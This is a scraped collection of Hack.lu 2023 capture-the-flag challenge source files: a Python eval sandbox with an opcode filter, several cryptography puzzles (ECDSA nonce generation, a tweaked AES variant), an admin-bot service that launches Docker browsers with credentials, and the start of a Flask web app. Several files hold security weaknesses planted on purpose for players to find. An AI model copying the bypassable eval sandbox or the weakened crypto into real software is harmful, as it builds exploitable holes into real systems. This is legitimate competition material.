'IMPORT_NAME', 'IMPORT_FROM']}
BUILTINS = {
'enumerate': enumerate,
'int': int,
'zip': zip,
'True': True,
'filter': filter,
'list': list,
'max': max,
'float': float,
'divmod': divmod,
'unicode': str,
'min': min,
'range': range,
'sum': sum,
'abs': abs,
'sorted': sorted,
'repr': repr,
'isinstance': isinstance,
'bool': bool,
'set': set,
'Exception': Exception,
'tuple': tuple,
'chr': chr,
'function': FunctionType,
'ord': ord,
'None': None,
'round': round,
'map': map,
'len': len,
'bytes': bytes,
'str': str,
'all': all,
'xrange': range,
'False': False,
'any': any,
'dict': dict,
}
def check_co(co):
for to_check in co.co_names + co.co_consts:
if type(to_check) is str and ("__" in to_check or to_check in BAD_ATTRS):
raise Exception(f"Bad attr: {to_check}")
opcodes = {instruction.opcode for instruction in dis.get_instructions(co)}
if opcodes.intersection(BAD_OPCODES):
raise Exception(f"Bad opcode(s): {', '.join(opname[opcode] for opcode in opcodes.intersection(BAD_OPCODES))}")
for const in co.co_consts:
if isinstance(const, CodeType):
check_co(const)
def safest_eval(expr):
co = compile(expr, "", "exec")
check_co(co)
eval_globals = {"__builtins__": dict(BUILTINS)}
eval(co, eval_globals)
return eval_globals
def palindrome_challenge(user_code):
challenge_code = f"""
{user_code}
solved = False
if isinstance(is_palindrome, function):
challenges = [["ooffoo", "murderforajarofredrum", "palindrome", ""], [True, True, False, True]]
solved = list(map(is_palindrome, challenges[0])) == challenges[1]
"""
try:
eval_globals = safest_eval(challenge_code)
if eval_globals["solved"] is True:
print("Solved")
else:
print("Not Solved")
except SyntaxError:
print("SyntaxError")
except Exception:
print("Exception")
if __name__ == "__main__":
palindrome_challenge(sys.argv[1]) | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Hack.lu/2023/crypto/Lucky_Numbers/lucky_number.py | ctfs/Hack.lu/2023/crypto/Lucky_Numbers/lucky_number.py | #!/usr/bin/env python
#hacklu23 Baby Crypyo Challenge
import math
import random
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
import base64
import os
def add(e): return e+(length-len(e)%length)*chr(length-len(e)%length)
def remove(e): return e[0:-ord(e[-1:])]
length=16
def main():
flag= os.environ["FLAG"]
print("Starting Challenge")
key=get_random_bytes(32)
message=add(flag)
iv=get_random_bytes(length)
cipher=AES.new(key,AES.MODE_CBC,iv)
cipher_bytes=base64.b64encode(iv+cipher.encrypt(message.encode("utf8")))
print(cipher_bytes.decode())
for l in range(0,5):
A=[]
print("You know the moment when you have this special number that gives you luck? Great cause I forgot mine")
data2=input()
print("I also had a second lucky number, but for some reason I don't remember it either :(")
data3=input()
v=data2.strip()
w=data3.strip()
if not v.isnumeric() or not w.isnumeric():
print("You sure both of these are numbers?")
continue
s=int(data2)
t=int(data3)
if s<random.randrange(10000,20000):
print("I have the feeling the first number might be too small")
continue
if s>random.randrange(150000000000,200000000000):
print("I have the feeling the first number might be too big")
continue
if t>42:
print("I have the feeling the second number might be too big")
continue
n=2**t-1
sent=False
for i in range(2,int(n**0.5)+1):
if (n%i) == 0:
print("The second number didn't bring me any luck...")
sent = True
break
if sent:
continue
u=t-1
number=(2**u)*(2**(t)-1)
sqrt_num=math.isqrt(s)
for i in range(1,sqrt_num+1):
if s%i==0:
A.append(i)
if i!=s//i and s//i!=s:
A.append(s//i)
total=sum(A)
if total==s==number:
decoded=base64.b64decode(cipher_bytes)
cipher=AES.new(key,AES.MODE_CBC,iv)
decoded_bytes=remove(cipher.decrypt(decoded[length:]))
print("You found them, well done! Here have something for your efforts: ")
print(decoded_bytes.decode())
exit()
else:
print("Hm sadge, those don't seem to be my lucky numbers...😞")
print("Math is such a cool concept, let's see if you can use it a little more...")
exit()
if __name__ == "__main__":
main()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Hack.lu/2023/crypto/Spooky_Safebox/cryptod.py | ctfs/Hack.lu/2023/crypto/Spooky_Safebox/cryptod.py | import ecdsa, ecdsa.ecdsa
from cryptography.hazmat.primitives.kdf.kbkdf import (
CounterLocation, KBKDFHMAC, Mode
)
from cryptography.hazmat.primitives import hashes
import secrets
from Crypto.Cipher import ChaCha20_Poly1305
def get_order(): return ecdsa.NIST256p.generator.order()
def encrypt_sym(input_bytes: bytes, key:bytes):
cipher = ChaCha20_Poly1305.new(key=key)
ciphertext, tag = cipher.encrypt_and_digest(input_bytes)
return ciphertext + tag + cipher.nonce
def derive_symkey(inp:bytes):
kdf = KBKDFHMAC(
algorithm=hashes.SHA3_256(),
mode=Mode.CounterMode,
length=32,
rlen=4,
llen=4,
location=CounterLocation.BeforeFixed,
label=b"safu",
context=b"funds are safu",
fixed=None,
)
return kdf.derive(inp)
def make_keys():
gen = ecdsa.NIST256p.generator
secret = secrets.randbelow(gen.order()-1) + 1
pub_key = ecdsa.ecdsa.Public_key(gen, gen * secret)
priv_key = ecdsa.ecdsa.Private_key(pub_key, secret)
return priv_key, pub_key
def int_to_bytes(n: int) -> bytes:
return n.to_bytes((n.bit_length() + 7) // 8, 'big') or b'\0'
def encrypt(kpub_dest:ecdsa.ecdsa.Public_key, msg:str):
gen = ecdsa.NIST256p.generator
r = secrets.randbelow(gen.order()-1) + 1
R = gen * r
S = kpub_dest.point * r
key = derive_symkey(int_to_bytes(int(S.x())))
cp = encrypt_sym(msg.encode(), key).hex()
return cp + "deadbeef" + R.to_bytes().hex()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Hack.lu/2023/crypto/Spooky_Safebox/proofofwork.py | ctfs/Hack.lu/2023/crypto/Spooky_Safebox/proofofwork.py | import os
import hashlib
import random
DEFAULT_DIFFICULTY = int(os.environ.get('DEFAULT_DIFFICULTY', 6))
DEFAULT_INPUT_LENGTH = int(os.environ.get('DEFAULT_INPUT_LENGTH', 13))
check = lambda s, challenge, prefix: hashlib.sha256((challenge + s).encode('utf-8')).hexdigest()[:len(prefix)] == prefix
def solve_pow(challenge, prefix):
for i in range(0, 2**32):
if check(str(i), challenge, prefix):
return challenge + str(i)
return -1
def challenge_proof_of_work(): # out of scope for the challenge
input_prefix = ''.join(random.choice('0123456789abcdef') for _ in range(DEFAULT_INPUT_LENGTH))
hash_prefix = ''.join(random.choice('0123456789abcdef') for _ in range(DEFAULT_DIFFICULTY))
print(f'Please provide a string that starts with {input_prefix} and whose sha256 hash starts with {hash_prefix}')
print('Example Python implementation: check = lambda s, challenge, prefix: hashlib.sha256((challenge + s).encode("utf-8")).hexdigest()[:len(prefix)] == prefix')
answer = input("POW: >")
answer = answer.strip()
if not answer.startswith(input_prefix):
print(f'Input does not start with {input_prefix}!')
return False
h = hashlib.new("sha256")
h.update(answer.encode('utf-8'))
hashed_value = h.hexdigest()
if not hashed_value.startswith(hash_prefix):
print(f'Hash does not start with {hash_prefix}!')
return False
return True
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Hack.lu/2023/crypto/Spooky_Safebox/app.py | ctfs/Hack.lu/2023/crypto/Spooky_Safebox/app.py | #!/usr/bin/env python3
import secrets
import os, sys, hmac
import cryptod
from proofofwork import challenge_proof_of_work
FLAG = os.environ.get("FLAG", "flag{FAKE_FLAG}") if "flag" in os.environ.get("FLAG","") else "flag{FAKE_FLAG}"
def main():
print("Welcome to the Spooky Safebox!")
if not challenge_proof_of_work():
return
kpriv, kpub = cryptod.make_keys()
order = cryptod.get_order()
encrypted_flag = cryptod.encrypt(kpub, FLAG)
print("Here is the encrypted flag:", encrypted_flag)
print("You've got 9 signatures, try to recover Satoshi's private key!")
for i in range(9):
msg_ = input("Enter a message to sign: >")
msg = hmac.new(cryptod.int_to_bytes(kpub.point.x() * i), msg_.encode(), "sha224").hexdigest()
checksum = 2**224 + (int(hmac.new(cryptod.int_to_bytes(kpriv.secret_multiplier) , msg_.encode(), "sha224").hexdigest(), 16) % (order-2**224))
nonce = secrets.randbelow(2 ** 224 - 1) + 1 + checksum
sig = kpriv.sign(int(msg, 16) % order, nonce)
print("Signature",(cryptod.int_to_bytes(int(sig.r)) + bytes.fromhex("deadbeef") + cryptod.int_to_bytes(int(sig.s))).hex())
print("Goodbye!")
if __name__ == '__main__':
try:
main()
except EOFError:
pass
except KeyboardInterrupt:
pass
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Hack.lu/2023/crypto/Doctored_Dobbertin/oracle.py | ctfs/Hack.lu/2023/crypto/Doctored_Dobbertin/oracle.py | import os, sys
class TAES_Oracle:
rounds = 10
keysize = 10
s_box = (
0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16,
)
Constants = [
0x11465e437e87fc55bc1f450ee0193d2a,
0xb545ae3dddfb8f91c84b346ab8226046,
0x458cabf5a74d0270d54b939e24926cfc,
0x49a02a9bf60fb2f74ca3b1b1904d14c7,
0x7dfa3b1ee676f340424d6fd9eebd0909,
0xf95f40888714e16c3bdd03dfbf2ce276,
0xa667b0c65ffb7cd36854e78fe9cfd066,
0xae3874359710d933b553eb36251fec3d,
0xd7f1fb018252bbed382d36449c702af5,
0xf9d1a0eba064ba69c8b46c356ff02d79
]
def __init__(self):
self.key = bytearray(os.urandom(self.keysize))
def _sub_bytes(self, s):
for i in range(4):
for j in range(4):
s[i][j] = self.s_box[s[i][j]]
def _shift_rows(self, s):
s[0][1], s[1][1], s[2][1], s[3][1] = s[1][1], s[2][1], s[3][1], s[0][1]
s[0][2], s[1][2], s[2][2], s[3][2] = s[2][2], s[3][2], s[0][2], s[1][2]
s[0][3], s[1][3], s[2][3], s[3][3] = s[3][3], s[0][3], s[1][3], s[2][3]
def _add_round_key(self, s, k):
for i in range(4):
for j in range(4):
s[i][j] ^= k[i][j]
_xtime = lambda self, a: (((a << 1) ^ 0x1B) & 0xFF) if (a & 0x80) else (a << 1)
def _mix_single_column(self, a):
# see Sec 4.1.2 in The Design of Rijndael
t = a[0] ^ a[1] ^ a[2] ^ a[3]
u = a[0]
a[0] ^= t ^ self._xtime(a[0] ^ a[1])
a[1] ^= t ^ self._xtime(a[1] ^ a[2])
a[2] ^= t ^ self._xtime(a[2] ^ a[3])
a[3] ^= t ^ self._xtime(a[3] ^ u)
def _mix_columns(self, s):
for i in range(4):
self._mix_single_column(s[i])
def _bytes2matrix(self, text):
""" Converts a 16-byte array into a 4x4 matrix. """
return [list(text[i:i+4]) for i in range(0, len(text), 4)]
def _matrix2bytes(self, matrix):
""" Converts a 4x4 matrix into a 16-byte array. """
return bytes(sum(matrix, []))
def _expand_key(self, key):
perm = [4, 3, 6, 2, 5, 8, 7, 0, 9, 1]
key_bytes = list(key)
assert(len(key_bytes) == 10)
round_keys = []
for i in range(self.rounds):
rk = []
rk.append( [key_bytes[i] for i in range(4)] )
rk.append( [key_bytes[i] for i in range(4, 8)] )
rk.append( [key_bytes[i] for i in range(4)] )
rk.append( [key_bytes[i] for i in range(4, 8)] )
round_keys.append(rk)
p_key_bytes = [0] * 10
for p in range(10):
p_key_bytes[perm[p]] = key_bytes[p]
key_bytes = p_key_bytes
key_bytes[0] = self.s_box[key_bytes[0]]
rk = []
rk.append( [0]*4 )
rk.append( [0]*4 )
rk.append( [key_bytes[i] for i in range(4)] )
rk.append( [key_bytes[i] for i in range(4, 8)] )
round_keys.append(rk)
return round_keys
def _expand_tweak(self, tweak_bits):
assert(len(tweak_bits) == 128)
round_tweaks = []
for i in range(self.rounds):
rt = [bytes(4), bytes(4)]
tweak2 = []
tweak3 = []
for j in range(4):
tweak2_byte = ""
tweak3_byte = ""
for b in range(8):
tweak2_byte += tweak_bits[ (11*(i+1) + (j*8) + b) % 128 ]
tweak3_byte += tweak_bits[ (11*(i+1) + 32 + (j*8) + b) % 128 ]
tweak2.append( int(tweak2_byte, 2) )
tweak3.append( int(tweak3_byte, 2) )
rt.append(bytes(tweak2))
rt.append(bytes(tweak3))
round_tweaks.append(rt)
return round_tweaks
def _add_constants(self, p, r):
for col in range(4):
for row in range(4):
con = (self.Constants[r] >> (((3-col)*4 + (3-row)) * 8)) & ((1<<8) - 1)
p[col][row] ^= con
def encrypt(self, plaintext, tweak):
p = self._bytes2matrix(plaintext)
tweak = bin(int(tweak, 16))[2:].zfill(128)
round_keys = self._expand_key(self.key)
round_tweaks = self._expand_tweak(tweak)
for i in range(self.rounds - 1):
self._add_round_key(p, round_keys[i])
self._add_round_key(p, round_tweaks[i])
self._add_constants(p, i)
self._sub_bytes(p)
self._shift_rows(p)
self._mix_columns(p)
self._add_round_key(p, round_keys[self.rounds-1])
self._add_round_key(p, round_tweaks[self.rounds-1])
self._add_constants(p, self.rounds-1)
self._sub_bytes(p)
self._shift_rows(p)
self._add_round_key(p, round_keys[self.rounds])
return self._matrix2bytes(p)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Hack.lu/2023/crypto/Doctored_Dobbertin/app.py | ctfs/Hack.lu/2023/crypto/Doctored_Dobbertin/app.py | #!/usr/bin/env python3
import secrets
import os, sys
from oracle import TAES_Oracle
FLAG = os.getenv('FLAG')
FLAG = FLAG if "flag" in FLAG else "flag{fake_flag}"
FLAG += " " * (16 - len(FLAG))
assert len(FLAG) == 16
def encrypt_challenge(oracle: TAES_Oracle, challenge: bytes, tweak: str):
return oracle.encrypt(challenge, tweak)
def main():
instance = TAES_Oracle()
init_tweak = secrets.token_hex(16)
challenge = encrypt_challenge(instance, FLAG.encode(), init_tweak)
print('Welcome to Doctored Dobbertin!')
print('''
_____ _ _ _____ _ _ _ _
| __ \ | | | | | __ \ | | | | | | (_)
| | | | ___ ___| |_ ___ _ __ ___ __| | | | | | ___ | |__ | |__ ___ _ __| |_ _ _ __
| | | |/ _ \ / __| __/ _ \| '__/ _ \/ _` | | | | |/ _ \| '_ \| '_ \ / _ \ '__| __| | '_ \
| |__| | (_) | (__| || (_) | | | __/ (_| | | |__| | (_) | |_) | |_) | __/ | | |_| | | | |
|_____/ \___/ \___|\__\___/|_| \___|\__,_| |_____/ \___/|_.__/|_.__/ \___|_| \__|_|_| |_|
''')
print()
print(f"You got a challenge: {challenge.hex()}")
print(f"Tweak used: {init_tweak}")
print("Now it's your turn to challenge me.")
for i in range(7):
inp = input("Enter your challenge: >")
tweak_choosen = input("Enter your challenge tweak: >")
try:
rx = encrypt_challenge(instance,bytes.fromhex(inp), tweak_choosen).hex()
print(rx)
except:
print("Invalid input. Likely not 16B, 16B.")
continue
print('Examination complete.')
if __name__ == '__main__':
try:
main()
except EOFError:
pass
except KeyboardInterrupt:
pass
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Hack.lu/2023/web/StylePen/bot/bot-master/src/worker.py | ctfs/Hack.lu/2023/web/StylePen/bot/bot-master/src/worker.py | import json
import subprocess
from queue import Queue
from threading import Thread, current_thread
import log
import config
bot_queue = Queue()
POISON_PILL = 'POISON_PILL'
workers = []
def start_worker(i):
t = Thread(name='worker-{}'.format(i), target=worker_main, args=[i])
t.start()
workers.append(t)
def kill_one_worker():
bot_queue.put(POISON_PILL)
def kill_all_workers():
for _ in range(len(workers)):
kill_one_worker()
def add_task(task):
log.log('[flask]', 'Adding {}'.format(task))
position = bot_queue.qsize() + 1
bot_queue.put(task)
return position
def queue_size():
return bot_queue.qsize()
def worker_main(i):
global config, workers
tag = '[worker-{}]'.format(i)
log.log(tag, 'started')
while i < config.config['worker_count']:
try:
task = bot_queue.get(block=True, timeout=5)
except:
continue
# abort condition, stop working
if task == POISON_PILL:
return
# work on the task
visit_link(tag, *task)
# remove myself from the worker list
workers.remove(current_thread())
log.log(tag, 'stopped')
def visit_link(tag, link, loginInfo={}):
global config
log.log(tag, 'Visiting {} {}'.format(link, loginInfo))
docker_args = [
'docker', 'run',
# run interactive
'-i',
# remove container after execution
'--rm',
# use a specific network
'--network', config.config['docker_network'],
# seccomp chrome
# '--security-opt', 'seccomp=chrome.json',
# limit run time
'-e', 'TIMEOUT_SECS={}'.format(config.config['timeout_secs']),
# the image to run
config.config['docker_image'],
]
args = docker_args + [
# the link to visit
link,
# the cookies
json.dumps(loginInfo)
]
log.log(tag, 'Executing: {}'.format(args))
subprocess.run(args)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Hack.lu/2023/web/StylePen/bot/bot-master/src/log.py | ctfs/Hack.lu/2023/web/StylePen/bot/bot-master/src/log.py | def log(tag, *msg):
print(tag, *msg)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Hack.lu/2023/web/StylePen/bot/bot-master/src/config.py | ctfs/Hack.lu/2023/web/StylePen/bot/bot-master/src/config.py | import json
from time import sleep
from threading import Thread
from log import log
from worker import workers, start_worker, kill_one_worker
config = {}
old_config = {}
config_load = None
config_loader = None
running = True
def init_config(config_file):
global config_loader
load_config(config_file)
config_loader = Thread(name='config-loader', target=config_loader_main, args=[config_file])
config_loader.start()
def stop_config_loader():
global running
running = False
config_loader.join()
def config_loader_main(config_file):
global running
while running:
load_config(config_file)
sleep(1)
def load_config(config_file):
global config, old_config, workers
# parse the config file
with open(config_file, 'r') as f:
new_config = json.loads(f.read())
any_changes = False
for key in set(list(old_config.keys()) + list(new_config.keys())):
old_value = old_config[key] if key in old_config else None
new_value = new_config[key] if key in new_config else None
if old_value != new_value:
log('[config]', "{} changed from '{}' to '{}'".format(key, old_value, new_value))
any_changes = True
if not any_changes:
return
else:
old_config = new_config.copy()
config = new_config
# recaptcha keys
config['use_recaptcha'] = config.get('use_recaptcha', False)
if config.get('use_recaptcha', False) is True:
if config['recaptcha_public_key'] is None or config.get('recaptcha_secret_key', None) is None:
raise Exception('recaptcha_public_key and recaptcha_secret_key must be defined in config')
# link pattern
if config.get('link_pattern', None) is None:
config['link_pattern'] = '^https?://'
# default cookie
if config.get('cookies', None) is None:
config['cookies'] = []
# default timeout
if config.get('timeout_secs', None) is None:
config['timeout_secs'] = 30
# worker count
current_worker_count = len(workers)
if config.get('worker_count', None) is None:
config['worker_count'] = 1
if config['worker_count'] > current_worker_count:
# spawn more workers
for i in range(current_worker_count, config['worker_count']):
start_worker(i)
elif config['worker_count'] < current_worker_count:
# kill some workers
for i in range(config['worker_count'], current_worker_count, -1):
kill_one_worker()
# docker stuff
if config.get('docker_network', None) is None:
config['docker_network'] = 'bridge'
if config.get('docker_image', None) is None:
config['docker_image'] = 'chrome-bot'
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Hack.lu/2023/web/StylePen/bot/bot-master/src/app.py | ctfs/Hack.lu/2023/web/StylePen/bot/bot-master/src/app.py | #!/usr/bin/env python
from curses.ascii import SI
import os, stat
import sys
import re
import datetime
from urllib.parse import urlparse, urlunparse
from flask import Flask, request, render_template, jsonify
import log
import config
import worker
PORT = int(os.getenv('PORT', '5000'))
BIND_ADDR = os.getenv('BIND_ADDR', '127.0.0.1')
PASSWORD = os.getenv('SHARED_SECRET') or "secret"
ORIGIN = os.getenv('ORIGIN') if os.getenv('ORIGIN') and os.getenv('ORIGIN') != "http://localhost" else 'http://stylepen'
LOGIN_URL = ORIGIN + os.getenv('LOGIN_PATH')
LOGIN_CHECK = os.getenv('LOGIN_CHECK')
app = Flask(__name__)
def create_app():
stat_info = os.stat("/var/run/docker.sock")
if stat.S_IFMT(stat_info.st_mode) != stat.S_IFSOCK:
print("Docker socket not found, check volume mounts in docker-compose.yml")
return None
return app
@app.route('/', methods=['POST'])
def index():
global config
json = request.json
if json["secret"] != PASSWORD:
return jsonify("Wrong secret")
link = json['link']
if not link:
return jsonify("No link")
# makes local testing less confusing
parsed_url = urlparse(link)
if parsed_url.hostname == "localhost":
new_parsed_url = parsed_url._replace(netloc="stylepen")
link = urlunparse(new_parsed_url)
if re.search(f"^{ORIGIN}/.*", link) is None:
log.log("[flask]", f"Invalid link {link}")
return jsonify(f"Invalid link. link pattern: ^{ORIGIN}/.*")
# spawn bot
task = (link, { "user": json["username"], "password": PASSWORD, "loginUrl": LOGIN_URL, "loginCheck": LOGIN_CHECK })
worker.add_task(task)
return jsonify("ok")
@app.route('/info', methods=['GET'])
def info():
return {
'queue_size': worker.queue_size(),
'worker_count': config.config['worker_count'],
'timeout_secs': config.config['timeout_secs'],
'use_recaptcha': config.config['use_recaptcha'],
'timestamp': datetime.datetime.now().isoformat()
}
def main(config_file):
config.init_config(config_file)
app.run(host=BIND_ADDR, port=PORT) # debug=True
# shutdown
worker.kill_all_workers()
config.stop_config_loader()
if __name__ == '__main__':
if len(sys.argv) != 2:
print('Usage: {} <config.json>'.format(sys.argv[0]))
exit(1)
main(sys.argv[1])
elif __name__ == 'app':
# we are in gunicorn, so just load the config
config.init_config('./config.json')
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Hack.lu/2023/web/Based_Encoding/based91.py | ctfs/Hack.lu/2023/web/Based_Encoding/based91.py | # Base91 encode/decode for Python 2 and Python 3
#
# Copyright (c) 2012 Adrien Beraud
# Copyright (c) 2015 Guillaume Jacquenot
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# * Redistributions of source code must retain the above copyright notice,
# this list of conditions and the following disclaimer.
# * Redistributions in binary form must reproduce the above copyright notice,
# this list of conditions and the following disclaimer in the documentation
# and/or other materials provided with the distribution.
# * Neither the name of Adrien Beraud, Wisdom Vibes Pte. Ltd., nor the names
# of its contributors may be used to endorse or promote products derived
# from this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE
# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#
import struct
base91_alphabet = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M',
'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z',
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',
'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '!', '#', '$',
'%', '€', '(', ')', '*', '+', ',', '°', '/', ':', ';', '<', '=',
'>', '?', '@', '[', ']', '^', '_', '`', '{', '|', '}', '~', '"']
decode_table = dict((v,k) for k,v in enumerate(base91_alphabet))
def decode(encoded_str):
''' Decode Base91 string to a bytearray '''
v = -1
b = 0
n = 0
out = bytearray()
for strletter in encoded_str:
if not strletter in decode_table:
continue
c = decode_table[strletter]
if(v < 0):
v = c
else:
v += c*91
b |= v << n
n += 13 if (v & 8191)>88 else 14
while True:
out += struct.pack('B', b&255)
b >>= 8
n -= 8
if not n>7:
break
v = -1
if v+1:
out += struct.pack('B', (b | v << n) & 255 )
return out
def encode(bindata):
''' Encode a bytearray to a Base91 string '''
b = 0
n = 0
out = ''
for count in range(len(bindata)):
byte = bindata[count:count+1]
b |= struct.unpack('B', byte)[0] << n
n += 8
if n>13:
v = b & 8191
if v > 88:
b >>= 13
n -= 13
else:
v = b & 16383
b >>= 14
n -= 14
out += base91_alphabet[v % 91] + base91_alphabet[v // 91]
if n:
out += base91_alphabet[b % 91]
if n>7 or b>90:
out += base91_alphabet[b // 91]
return out
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Hack.lu/2023/web/Based_Encoding/app.py | ctfs/Hack.lu/2023/web/Based_Encoding/app.py | from flask import Flask, redirect, request, session, render_template, flash
import os
import sqlite3
import secrets
import based91
import time
import re
import subprocess
app = Flask(__name__)
base_url = os.getenv("BASE_URL", "http://localhost:5000")
FLAG = os.getenv("FLAG", "flag{testflag}")
admin_password = secrets.token_urlsafe(32)
app.secret_key = secrets.token_bytes(32)
def get_cursor():
db = sqlite3.connect("/tmp/app.db")
return db, db.cursor()
def init_db():
db, cur = get_cursor()
cur.execute("CREATE TABLE IF NOT EXISTS accounts (id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT NOT NULL UNIQUE, password TEXT NOT NULL, admin INTEGER)")
cur.execute("INSERT INTO accounts (username, password, admin) VALUES ('admin', ?, 1)", [admin_password])
